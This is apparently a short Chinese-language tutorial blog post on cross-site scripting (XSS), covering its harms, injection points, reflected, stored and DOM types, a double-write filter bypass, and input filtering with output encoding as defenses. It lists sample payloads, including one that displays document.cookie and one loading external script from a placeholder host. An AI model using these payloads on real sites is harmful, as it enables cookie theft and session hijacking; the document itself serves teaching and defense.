XSS漏洞
什么是XSS?
跨站脚本攻击,Cross-Site Scripting, 为了和CSS(层叠样式表)区分开来,把第一个字母C改成了X,也就是现在所说的XSS攻击。
XSS的危害
窃取cookie, 劫持对话,网络钓鱼,放马挖矿,广告刷流量,劫持后台,篡改页面,传播蠕虫,内网扫描。
XSS作用位置
用户输入作为script标签内容
用户输入作为HTML注释内容
用户输入作为HTML标签的属性名
用户输入作为HTML标签的属性值
用户输入作为HTML标签的名字
直接插入到CSS里
XSS脚本
<script>alert("hacker")</script> #弹出hacker
<script>alert(/hacker/)</script> #弹出hacker
<script>alert(1)</script> #弹出1, 对于数字可以不用引号
<script>alert(document.cookie)</script> 弹出cookie
<script src=http://XXX.com/xss.js></script> #引用外部的xss
XSS的分类
反射型XSS
反射型XSS是非持久性、参数型跨站脚本。反射型XSS的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。
存储型XSS
存储型XSS是持久性跨站脚本,持久性体现在xss代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方。
DOM型XSS
定义:owasp关于DOM型XSS的定义是基于DOM的XSS是一种XSS攻击,其中攻击的payloadi由于修改受害者浏览器页面的DOM树而执行的。
XSS常见绕过
双写绕过
网站中设置黑名单,检测到黑名单中的字符串,会被替换掉,从而规避掉恶意代码,这种情况可以视情况而定,选择合适的双写格式进行检查绕过。
XSS防范
防范办法
对用户的输入(和URL参数)进行过滤,对输出进行html编码,也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。
标签:hacker,XSS,DOM,用户,alert,漏洞,HTML
From: https://www.cnblogs.com/tlomlyiyi/p/18263893